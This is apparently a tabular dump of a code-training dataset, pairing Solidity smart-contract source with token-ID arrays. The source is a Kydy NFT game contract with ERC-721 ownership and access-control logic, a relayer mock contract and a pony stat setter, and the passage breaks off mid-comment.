file_name
stringlengths
71
779k
comments
stringlengths
20
182k
code_string
stringlengths
20
36.9M
__index_level_0__
int64
0
17.2M
input_ids
sequence
attention_mask
sequence
labels
sequence
./partial_match/1/0xB6Fc6E2385d55CCb83e297Bd92E2Bd89795B47A3/sources/PonyCore.sol
Gen0 Pony Max능력치 Setting
function setGen0Stat(uint256[6] _gen0Stat) public onlyCOO { gen0Stat = Gen0Stat({ retiredAge : uint8(_gen0Stat[0]), maxSpeed : uint8(_gen0Stat[1]), maxStamina : uint8(_gen0Stat[2]), maxStart : uint8(_gen0Stat[3]), maxBurst : uint8(_gen0Stat[4]), maxTemperament : uint8(_gen0Stat[5]) }); }
4,123,378
[ 1, 7642, 20, 453, 6598, 4238, 172, 237, 103, 172, 259, 103, 173, 122, 251, 13274, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 444, 7642, 20, 5000, 12, 11890, 5034, 63, 26, 65, 389, 4507, 20, 5000, 13, 7010, 565, 1071, 7010, 565, 1338, 3865, 51, 203, 565, 288, 203, 3639, 3157, 20, 5000, 273, 10938, 20, 5000, 12590, 203, 5411, 325, 2921, 9692, 294, 2254, 28, 24899, 4507, 20, 5000, 63, 20, 65, 3631, 203, 5411, 943, 16562, 294, 2254, 28, 24899, 4507, 20, 5000, 63, 21, 65, 3631, 203, 5411, 943, 510, 301, 15314, 294, 2254, 28, 24899, 4507, 20, 5000, 63, 22, 65, 3631, 203, 5411, 943, 1685, 294, 2254, 28, 24899, 4507, 20, 5000, 63, 23, 65, 3631, 203, 5411, 943, 38, 18593, 294, 2254, 28, 24899, 4507, 20, 5000, 63, 24, 65, 3631, 203, 5411, 943, 1837, 457, 14773, 294, 2254, 28, 24899, 4507, 20, 5000, 63, 25, 5717, 203, 3639, 15549, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
/** * @title RelayerContractMock * @author Team 3301 <[email protected]> * @dev Contract mocking relayer contract actions to call other contracts and validate * that these actions execute correctly within the Relayer role model. */ pragma solidity 0.5.12; import "../OperatorableMock.sol"; contract RelayerContractMock { /** * @dev Call relay action in other contract. * @param _contract contract to call action. */ function callContractRelayAction(address _contract) public { OperatorableMock(_contract).relayAction(); } /** * @dev Call relay action in other contract that can accept operator or relay action. * @param _contract contract to call action. */ function callContractOperatorOrRelayAction(address _contract) public { OperatorableMock(_contract).operatorOrRelayAction(); } /** * @dev Call relay action in other contract that can acceept admin or relay action. * @param _contract contract to call action. */ function callContractAdminOrRelayAction(address _contract) public { OperatorableMock(_contract).adminOrRelayAction(); } /** * @dev Call relay action in other contract that can accept operator or system or relay action. * @param _contract contract to call action. */ function callContractOperatorOrSystemOrRelayAction(address _contract) public { OperatorableMock(_contract).operatorOrSystemOrRelayAction(); } }
* @dev Call relay action in other contract that can accept operator or system or relay action. @param _contract contract to call action./
function callContractOperatorOrSystemOrRelayAction(address _contract) public { OperatorableMock(_contract).operatorOrSystemOrRelayAction(); }
14,094,941
[ 1, 1477, 18874, 1301, 316, 1308, 6835, 716, 848, 2791, 3726, 578, 2619, 578, 18874, 1301, 18, 225, 389, 16351, 6835, 358, 745, 1301, 18, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 745, 8924, 5592, 1162, 3163, 1162, 27186, 1803, 12, 2867, 389, 16351, 13, 1071, 288, 203, 3639, 11097, 429, 9865, 24899, 16351, 2934, 9497, 1162, 3163, 1162, 27186, 1803, 5621, 203, 565, 289, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.4.24; /// @title New Child Kydy's Genes contract GeneSynthesisInterface { /// @dev boolean to check this is the contract we expect to be function isGeneSynthesis() public pure returns (bool); /** * @dev Synthesizes the genes of yin and yang Kydy, and returns the result as the child's genes. * @param gene1 genes of yin Kydy * @param gene2 genes of yang Kydy * @return the genes of the child */ function synthGenes(uint256 gene1, uint256 gene2) public returns (uint256); } /** * @title Part of KydyCore that manages special access controls. * @author VREX Lab Co., Ltd * @dev See the KydyCore contract documentation to understand how the various contracts are arranged. */ contract KydyAccessControl { /** * This contract defines access control for the following important roles of the Dyverse: * * - The CEO: The CEO can assign roles and change the addresses of the smart contracts. * It can also solely unpause the smart contract. * * - The CFO: The CFO can withdraw funds from the KydyCore and the auction contracts. * * - The COO: The COO can release Generation 0 Kydys and create promotional-type Kydys. * */ /// @dev Used when contract is upgraded. event ContractUpgrade(address newContract); // The assigned addresses of each role, as defined in this contract. address public ceoAddress; address public cfoAddress; address public cooAddress; /// @dev Checks if the contract is paused. When paused, most of the functions of this contract will also be stopped. bool public paused = false; /// @dev Access modifier for CEO-only modifier onlyCEO() { require(msg.sender == ceoAddress); _; } /// @dev Access modifier for CFO-only modifier onlyCFO() { require(msg.sender == cfoAddress); _; } /// @dev Access modifier for COO-only modifier onlyCOO() { require(msg.sender == cooAddress); _; } /// @dev Access modifier for CEO, CFO, COO modifier onlyCLevel() { require( msg.sender == ceoAddress || msg.sender == cfoAddress || msg.sender == cooAddress ); _; } /** * @dev Assigns a new address to the CEO. Only the current CEO has the authority. * @param _newCEO The address of the new CEO */ function setCEO(address _newCEO) external onlyCEO { require(_newCEO != address(0)); ceoAddress = _newCEO; } /** * @dev Assigns a new address to the CFO. Only the current CEO has the authority. * @param _newCFO The address of the new CFO */ function setCFO(address _newCFO) external onlyCEO { require(_newCFO != address(0)); cfoAddress = _newCFO; } /** * @dev Assigns a new address to the COO. Only the current CEO has the authority. * @param _newCOO The address of the new COO */ function setCOO(address _newCOO) external onlyCEO { require(_newCOO != address(0)); cooAddress = _newCOO; } /*** Pausable functionality adapted from OpenZeppelin ***/ /// @dev Modifier to allow actions only when the contract IS NOT paused modifier whenNotPaused() { require(!paused); _; } /// @dev Modifier to allow actions only when the contract IS paused modifier whenPaused { require(paused); _; } /** * @dev Called by any "C-level" role to pause the contract. Used only when * a bug or exploit is detected to limit the damage. */ function pause() external onlyCLevel whenNotPaused { paused = true; } /** * @dev Unpauses the smart contract. Can only be called by the CEO, since * one reason we may pause the contract is when CFO or COO accounts are * compromised. * @notice This is public rather than external so it can be called by * derived contracts. */ function unpause() public onlyCEO whenPaused { // can't unpause if contract was upgraded paused = false; } } contract ERC165Interface { /** * @notice Query if a contract implements an interface * @param interfaceID The interface identifier, as specified in ERC-165 * @dev Interface identification is specified in ERC-165. This function * uses less than 30,000 gas. * @return `true` if the contract implements `interfaceID` and * `interfaceID` is not 0xffffffff, `false` otherwise */ function supportsInterface(bytes4 interfaceID) external view returns (bool); } contract ERC165 is ERC165Interface { /** * @dev a mapping of interface id to whether or not it's supported */ mapping(bytes4 => bool) private _supportedInterfaces; /** * @dev implement supportsInterface(bytes4) using a lookup table */ function supportsInterface(bytes4 interfaceId) external view returns (bool) { return _supportedInterfaces[interfaceId]; } /** * @dev internal method for registering an interface */ function _registerInterface(bytes4 interfaceId) internal { require(interfaceId != 0xffffffff); _supportedInterfaces[interfaceId] = true; } } // Every ERC-721 compliant contract must implement the ERC721 and ERC165 interfaces. /** * @title ERC-721 Non-Fungible Token Standard * @dev See https://github.com/ethereum/EIPs/blob/master/EIPS/eip-721.md * Note: the ERC-165 identifier for this interface is 0x80ac58cd. */ contract ERC721Basic is ERC165 { // Below is MUST /** * @dev This emits when ownership of any NFT changes by any mechanism. * This event emits when NFTs are created (`from` == 0) and destroyed * (`to` == 0). Exception: during contract creation, any number of NFTs * may be created and assigned without emitting Transfer. At the time of * any transfer, the approved address for that NFT (if any) is reset to none. */ event Transfer(address indexed _from, address indexed _to, uint256 indexed _tokenId); /** * @dev This emits when the approved address for an NFT is changed or * reaffirmed. The zero address indicates there is no approved address. * When a Transfer event emits, this also indicates that the approved * address for that NFT (if any) is reset to none. */ event Approval(address indexed _owner, address indexed _approved, uint256 indexed _tokenId); /** * @dev This emits when an operator is enabled or disabled for an owner. * The operator can manage all NFTs of the owner. */ event ApprovalForAll(address indexed _owner, address indexed _operator, bool _approved); /** * @notice Count all NFTs assigned to an owner * @dev NFTs assigned to the zero address are considered invalid, and this * function throws for queries about the zero address. * @param _owner An address for whom to query the balance * @return The number of NFTs owned by `_owner`, possibly zero */ function balanceOf(address _owner) public view returns (uint256); /** * @notice Find the owner of an NFT * @dev NFTs assigned to zero address are considered invalid, and queries * about them do throw. * @param _tokenId The identifier for an NFT * @return The address of the owner of the NFT */ function ownerOf(uint256 _tokenId) public view returns (address); /** * @notice Transfers the ownership of an NFT from one address to another address * @dev Throws unless `msg.sender` is the current owner, an authorized * operator, or the approved address for this NFT. Throws if `_from` is * not the current owner. Throws if `_to` is the zero address. Throws if * `_tokenId` is not a valid NFT. When transfer is complete, this function * checks if `_to` is a smart contract (code size > 0). If so, it calls * `onERC721Received` on `_to` and throws if the return value is not * `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`. * @param _from The current owner of the NFT * @param _to The new owner * @param _tokenId The NFT to transfer * @param data Additional data with no specified format, sent in call to `_to` */ function safeTransferFrom(address _from, address _to, uint256 _tokenId, bytes data) public; /** * @notice Transfers the ownership of an NFT from one address to another address * @dev This works identically to the other function with an extra data parameter, * except this function just sets data to "". * @param _from The current owner of the NFT * @param _to The new owner * @param _tokenId The NFT to transfer */ function safeTransferFrom(address _from, address _to, uint256 _tokenId) public; /** * @notice Transfer ownership of an NFT -- THE CALLER IS RESPONSIBLE * TO CONFIRM THAT `_to` IS CAPABLE OF RECEIVING NFTS OR ELSE * THEY MAY BE PERMANENTLY LOST * @dev Throws unless `msg.sender` is the current owner, an authorized * operator, or the approved address for this NFT. Throws if `_from` is * not the current owner. Throws if `_to` is the zero address. Throws if * `_tokenId` is not a valid NFT. * @param _from The current owner of the NFT * @param _to The new owner * @param _tokenId The NFT to transfer */ function transferFrom(address _from, address _to, uint256 _tokenId) public; /** * @notice Change or reaffirm the approved address for an NFT * @dev The zero address indicates there is no approved address. * Throws unless `msg.sender` is the current NFT owner, or an authorized * operator of the current owner. * @param _approved The new approved NFT controller * @param _tokenId The NFT to approve */ function approve(address _approved, uint256 _tokenId) external; /** * @notice Enable or disable approval for a third party ("operator") to manage * all of `msg.sender`'s assets * @dev Emits the ApprovalForAll event. The contract MUST allow * multiple operators per owner. * @param _operator Address to add to the set of authorized operators * @param _approved True if the operator is approved, false to revoke approval */ function setApprovalForAll(address _operator, bool _approved) external; /** * @notice Get the approved address for a single NFT * @dev Throws if `_tokenId` is not a valid NFT. * @param _tokenId The NFT to find the approved address for * @return The approved address for this NFT, or the zero address if there is none */ function getApproved(uint256 _tokenId) public view returns (address); /** * @notice Query if an address is an authorized operator for another address * @param _owner The address that owns the NFTs * @param _operator The address that acts on behalf of the owner * @return True if `_operator` is an approved operator for `_owner`, false otherwise */ function isApprovedForAll(address _owner, address _operator) public view returns (bool); // Below is OPTIONAL // ERC721Metadata // The metadata extension is OPTIONAL for ERC-721 smart contracts (see "caveats", below). This allows your smart contract to be interrogated for its name and for details about the assets which your NFTs represent. /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://github.com/ethereum/EIPs/blob/master/EIPS/eip-721.md * Note: the ERC-165 identifier for this interface is 0x5b5e139f. */ /// @notice A descriptive name for a collection of NFTs in this contract function name() external view returns (string _name); /// @notice An abbreviated name for NFTs in this contract function symbol() external view returns (string _symbol); /** * @notice A distinct Uniform Resource Identifier (URI) for a given asset. * @dev Throws if `_tokenId` is not a valid NFT. URIs are defined in RFC * 3986. The URI may point to a JSON file that conforms to the "ERC721 * Metadata JSON Schema". */ function tokenURI(uint256 _tokenId) external view returns (string); // ERC721Enumerable // The enumeration extension is OPTIONAL for ERC-721 smart contracts (see "caveats", below). This allows your contract to publish its full list of NFTs and make them discoverable. /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://github.com/ethereum/EIPs/blob/master/EIPS/eip-721.md * Note: the ERC-165 identifier for this interface is 0x780e9d63. */ /** * @notice Count NFTs tracked by this contract * @return A count of valid NFTs tracked by this contract, where each one of * them has an assigned and queryable owner not equal to the zero address */ function totalSupply() public view returns (uint256); } /** * @title SafeMath * @dev Math operations with safety checks that revert on error */ library SafeMath { /** * @dev Multiplies two numbers, reverts on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } /** * @dev Integer division of two numbers truncating the quotient, reverts on division by zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } /** * @dev Adds two numbers, reverts on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } /** * @dev Divides two numbers and returns the remainder (unsigned integer modulo), * reverts when dividing by zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } } /** * Utility library of inline functions on addresses */ library Address { /** * Returns whether the target address is a contract * @dev This function will return false if invoked during the constructor of a contract, * as the code is not actually created until after the constructor finishes. * @param account address of the account to check * @return whether the target address is a contract */ function isContract(address account) internal view returns (bool) { uint256 size; // XXX Currently there is no better way to check if there is a contract in an address // than to check the size of the code at that address. // See https://ethereum.stackexchange.com/a/14016/36603 // for more details about how this works. // TODO Check this again before the Serenity release, because all addresses will be // contracts then. // solium-disable-next-line security/no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } } /** * @title The base contract of Dyverse. ERC-721 compliant. * @author VREX Lab Co., Ltd * @dev See the KydyCore contract for more info on details. */ contract KydyBase is KydyAccessControl, ERC721Basic { using SafeMath for uint256; using Address for address; /*** EVENT ***/ /** * @dev The Creation event takes place whenever a new Kydy is created via Synthesis or minted by the COO. */ event Created(address indexed owner, uint256 kydyId, uint256 yinId, uint256 yangId, uint256 genes); /*** DATA TYPES ***/ /** * @dev Every Kydy in the Dyverse is a copy of this structure. */ struct Kydy { // The Kydy's genetic code is stored into 256-bits and never changes. uint256 genes; // The timestamp of the block when this Kydy was created uint64 createdTime; // The timestamp of when this Kydy can synthesize again. uint64 rechargeEndBlock; // The ID of the parents (Yin, female, and Yang, male). It is 0 for Generation 0 Kydys. uint32 yinId; uint32 yangId; // The ID of the yang Kydy that the yin Kydy is creating with. uint32 synthesizingWithId; // The recharge index that represents the duration of the recharge for this Kydy. // After each synthesis, this increases by one for both yin and yang Kydys of the synthesis. uint16 rechargeIndex; // The generation index of this Kydy. The newly created Kydy takes the generation index of the parent // with a larger generation index. uint16 generation; } /*** CONSTANTS ***/ /** * @dev An array table of the recharge duration. Referred to as "creation time" for yin * and "synthesis recharge" for yang Kydys. Maximum duration is 4 days. */ uint32[14] public recharges = [ uint32(1 minutes), uint32(2 minutes), uint32(5 minutes), uint32(10 minutes), uint32(30 minutes), uint32(1 hours), uint32(2 hours), uint32(4 hours), uint32(8 hours), uint32(16 hours), uint32(1 days), uint32(2 days), uint32(4 days) ]; // An approximation of seconds between blocks. uint256 public secondsPerBlock = 15; /*** STORAGE ***/ /** * @dev This array contains the ID of every Kydy as an index. */ Kydy[] kydys; /** * @dev This maps each Kydy ID to the address of the owner. Every Kydy must have an owner, even Gen 0 Kydys. * You can view this mapping via `ownerOf()`. */ mapping (uint256 => address) internal kydyIndexToOwner; /** * @dev This maps the owner's address to the number of Kydys that the address owns. * You can view this mapping via `balanceOf()`. */ mapping (address => uint256) internal ownershipTokenCount; /** * @dev This maps transferring Kydy IDs to the the approved address to call safeTransferFrom(). * You can view this mapping via `getApproved()`. */ mapping (uint256 => address) internal kydyIndexToApproved; /** * @dev This maps KydyIDs to the address approved to synthesize via synthesizeWithAuto(). * You can view this mapping via `getSynthesizeApproved()`. */ mapping (uint256 => address) internal synthesizeAllowedToAddress; /** * @dev This maps the owner to operator approvals, for the usage of setApprovalForAll(). */ mapping (address => mapping (address => bool)) private _operatorApprovals; /** * @dev Returns the owner of the given Kydy ID. Required for ERC-721 compliance. * @param _tokenId uint256 ID of the Kydy in query * @return the address of the owner of the given Kydy ID */ function ownerOf(uint256 _tokenId) public view returns (address) { address owner = kydyIndexToOwner[_tokenId]; require(owner != address(0)); return owner; } /** * @dev Returns the approved address of the receiving owner for a Kydy ID. Required for ERC-721 compliance. * @param tokenId uint256 ID of the Kydy in query * @return the address of the approved, receiving owner for the given Kydy ID */ function getApproved(uint256 tokenId) public view returns (address) { require(_exists(tokenId)); return kydyIndexToApproved[tokenId]; } /** * @dev Returns the synthesize approved address of the Kydy ID. * @param tokenId uint256 ID of the Kydy in query * @return the address of the synthesizing approved of the given Kydy ID */ function getSynthesizeApproved(uint256 tokenId) external view returns (address) { require(_exists(tokenId)); return synthesizeAllowedToAddress[tokenId]; } /** * @dev Returns whether an operator is approved by the owner. Required for ERC-721 compliance. * @param owner owner address to check whether it is approved * @param operator operator address to check whether it is approved * @return bool whether the operator is approved or not */ function isApprovedForAll(address owner, address operator) public view returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev Sets or unsets the approval of the operator. Required for ERC-721 compliance. * @param to operator address to set the approval * @param approved the status to be set */ function setApprovalForAll(address to, bool approved) external { require(to != msg.sender); _operatorApprovals[msg.sender][to] = approved; emit ApprovalForAll(msg.sender, to, approved); } /// @dev Assigns ownership of this Kydy to an address. function _transfer(address _from, address _to, uint256 _tokenId) internal { ownershipTokenCount[_to] = ownershipTokenCount[_to].add(1); // Transfers the ownership of this Kydy. kydyIndexToOwner[_tokenId] = _to; ownershipTokenCount[_from] = ownershipTokenCount[_from].sub(1); // After a transfer, synthesis allowance is also reset. delete synthesizeAllowedToAddress[_tokenId]; // Clears any previously approved transfer. delete kydyIndexToApproved[_tokenId]; // Emit the transfer event. emit Transfer(_from, _to, _tokenId); } /** * @dev Returns whether the given Kydy ID exists * @param _tokenId uint256 ID of the Kydy in query * @return whether the Kydy exists */ function _exists(uint256 _tokenId) internal view returns (bool) { address owner = kydyIndexToOwner[_tokenId]; return owner != address(0); } /** * @dev Returns whether the given spender can transfer the Kydy ID * @param _spender address of the spender to query * @param _tokenId uint256 ID of the Kydy to be transferred * @return bool whether the msg.sender is approved */ function _isApprovedOrOwner(address _spender, uint256 _tokenId) internal view returns (bool) { address owner = ownerOf(_tokenId); // Disable solium check because of // https://github.com/duaraghav8/Solium/issues/175 // solium-disable-next-line operator-whitespace return (_spender == owner || getApproved(_tokenId) == _spender || isApprovedForAll(owner, _spender)); } /** * @dev Internal function to add a Kydy ID to the new owner's list. * @param _to address the new owner's address * @param _tokenId uint256 ID of the transferred Kydy */ function _addTokenTo(address _to, uint256 _tokenId) internal { // Checks if the owner of the Kydy is 0x0 before the transfer. require(kydyIndexToOwner[_tokenId] == address(0)); // Transfers the ownership to the new owner. kydyIndexToOwner[_tokenId] = _to; // Increases the total Kydy count of the new owner. ownershipTokenCount[_to] = ownershipTokenCount[_to].add(1); } /** * @dev Internal function to remove a Kydy ID from the previous owner's list. * @param _from address the previous owner's address * @param _tokenId uint256 ID of the transferred Kydy */ function _removeTokenFrom(address _from, uint256 _tokenId) internal { // Checks the current owner of the Kydy is '_from'. require(ownerOf(_tokenId) == _from); // Reduces the total Kydy count of the previous owner. ownershipTokenCount[_from] = ownershipTokenCount[_from].sub(1); // Deletes the transferred Kydy from the current owner's list. kydyIndexToOwner[_tokenId] = address(0); } /** * @dev Internal function to mint a new Kydy. * @param _to The address that owns the newly minted Kydy * @param _tokenId uint256 ID of the newly minted Kydy */ function _mint(address _to, uint256 _tokenId) internal { require(!_exists(_tokenId)); _addTokenTo(_to, _tokenId); emit Transfer(address(0), _to, _tokenId); } /** * @dev Internal function to clear current approvals of a given Kydy ID. * @param _owner owner of the Kydy * @param _tokenId uint256 ID of the Kydy to be transferred */ function _clearApproval(address _owner, uint256 _tokenId) internal { require(ownerOf(_tokenId) == _owner); if (kydyIndexToApproved[_tokenId] != address(0)) { kydyIndexToApproved[_tokenId] = address(0); } if (synthesizeAllowedToAddress[_tokenId] != address(0)) { synthesizeAllowedToAddress[_tokenId] = address(0); } } /** * @dev Internal function that creates a new Kydy and stores it. * @param _yinId The ID of the yin Kydy (zero for Generation 0 Kydy) * @param _yangId The ID of the yang Kydy (zero for Generation 0 Kydy) * @param _generation The generation number of the new Kydy. * @param _genes The Kydy's gene code * @param _owner The owner of this Kydy, must be non-zero (except for the ID 0) */ function _createKydy( uint256 _yinId, uint256 _yangId, uint256 _generation, uint256 _genes, address _owner ) internal returns (uint) { require(_yinId == uint256(uint32(_yinId))); require(_yangId == uint256(uint32(_yangId))); require(_generation == uint256(uint16(_generation))); // New Kydy's recharge index is its generation / 2. uint16 rechargeIndex = uint16(_generation / 2); if (rechargeIndex > 13) { rechargeIndex = 13; } Kydy memory _kyd = Kydy({ genes: _genes, createdTime: uint64(now), rechargeEndBlock: 0, yinId: uint32(_yinId), yangId: uint32(_yangId), synthesizingWithId: 0, rechargeIndex: rechargeIndex, generation: uint16(_generation) }); uint256 newbabyKydyId = kydys.push(_kyd) - 1; // Just in case. require(newbabyKydyId == uint256(uint32(newbabyKydyId))); // Emits the Created event. emit Created( _owner, newbabyKydyId, uint256(_kyd.yinId), uint256(_kyd.yangId), _kyd.genes ); // Here grants ownership, and also emits the Transfer event. _mint(_owner, newbabyKydyId); return newbabyKydyId; } // Any C-level roles can change the seconds per block function setSecondsPerBlock(uint256 secs) external onlyCLevel { require(secs < recharges[0]); secondsPerBlock = secs; } } /** * @notice This is MUST to be implemented. * A wallet/broker/auction application MUST implement the wallet interface if it will accept safe transfers. * @dev Note: the ERC-165 identifier for this interface is 0x150b7a02. */ contract ERC721TokenReceiver { /** * @notice Handle the receipt of an NFT * @dev The ERC721 smart contract calls this function on the recipient * after a `transfer`. This function MAY throw to revert and reject the * transfer. Return of other than the magic value MUST result in the * transaction being reverted. * Note: the contract address is always the message sender. * @param _operator The address which called `safeTransferFrom` function * @param _from The address which previously owned the token * @param _tokenId The NFT identifier which is being transferred * @param _data Additional data with no specified format * @return `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))` * unless throwing */ function onERC721Received(address _operator, address _from, uint256 _tokenId, bytes _data) public returns (bytes4); } // File: contracts/lib/Strings.sol library Strings { // via https://github.com/oraclize/ethereum-api/blob/master/oraclizeAPI_0.5.sol function strConcat(string _a, string _b, string _c, string _d, string _e) internal pure returns (string) { bytes memory _ba = bytes(_a); bytes memory _bb = bytes(_b); bytes memory _bc = bytes(_c); bytes memory _bd = bytes(_d); bytes memory _be = bytes(_e); string memory abcde = new string(_ba.length + _bb.length + _bc.length + _bd.length + _be.length); bytes memory babcde = bytes(abcde); uint k = 0; for (uint i = 0; i < _ba.length; i++) babcde[k++] = _ba[i]; for (i = 0; i < _bb.length; i++) babcde[k++] = _bb[i]; for (i = 0; i < _bc.length; i++) babcde[k++] = _bc[i]; for (i = 0; i < _bd.length; i++) babcde[k++] = _bd[i]; for (i = 0; i < _be.length; i++) babcde[k++] = _be[i]; return string(babcde); } function strConcat(string _a, string _b, string _c, string _d) internal pure returns (string) { return strConcat(_a, _b, _c, _d, ""); } function strConcat(string _a, string _b, string _c) internal pure returns (string) { return strConcat(_a, _b, _c, "", ""); } function strConcat(string _a, string _b) internal pure returns (string) { return strConcat(_a, _b, "", "", ""); } function uint2str(uint i) internal pure returns (string) { if (i == 0) return "0"; uint j = i; uint len; while (j != 0){ len++; j /= 10; } bytes memory bstr = new bytes(len); uint k = len - 1; while (i != 0){ bstr[k--] = byte(48 + i % 10); i /= 10; } return string(bstr); } } /** * @title Part of the KydyCore contract that manages ownership, ERC-721 compliant. * @author VREX Lab Co., Ltd * @dev Ref: https://github.com/ethereum/EIPs/blob/master/EIPS/eip-721.md * See the KydyCore contract documentation to understand how the various contracts are arranged. */ contract KydyOwnership is KydyBase { using Strings for string; /// @notice Name and symbol of the non fungible token, as defined in ERC721. string public constant _name = "Dyverse"; string public constant _symbol = "KYDY"; // Base Server Address for Token MetaData URI string internal tokenURIBase = "http://testapi.dyver.se/api/KydyMetadata/"; // Equals to `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))` // which can be also obtained as `ERC721TokenReceiver(0).onERC721Received.selector` bytes4 private constant _ERC721_RECEIVED = 0x150b7a02; bytes4 private constant _InterfaceId_ERC165 = 0x01ffc9a7; /** * 0x01ffc9a7 === * 